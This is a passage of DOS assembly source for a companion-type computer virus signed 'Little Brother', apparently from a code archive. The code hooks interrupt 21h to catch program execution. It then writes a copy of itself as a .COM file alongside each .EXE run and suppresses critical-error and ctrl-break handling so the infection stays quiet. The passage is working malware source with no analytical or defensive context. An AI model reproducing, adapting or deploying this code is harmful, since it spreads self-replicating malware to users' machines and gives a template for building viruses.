mov ah,4Ch ;exit with same return code
int 21
;****************************************************************************
;* EXEC parameter block
;****************************************************************************
param dw 0, 80, ?, 5C, ?, 6C, ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs
pop ds
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz return
mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute .EXE program
return: ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin
Binary file not shown.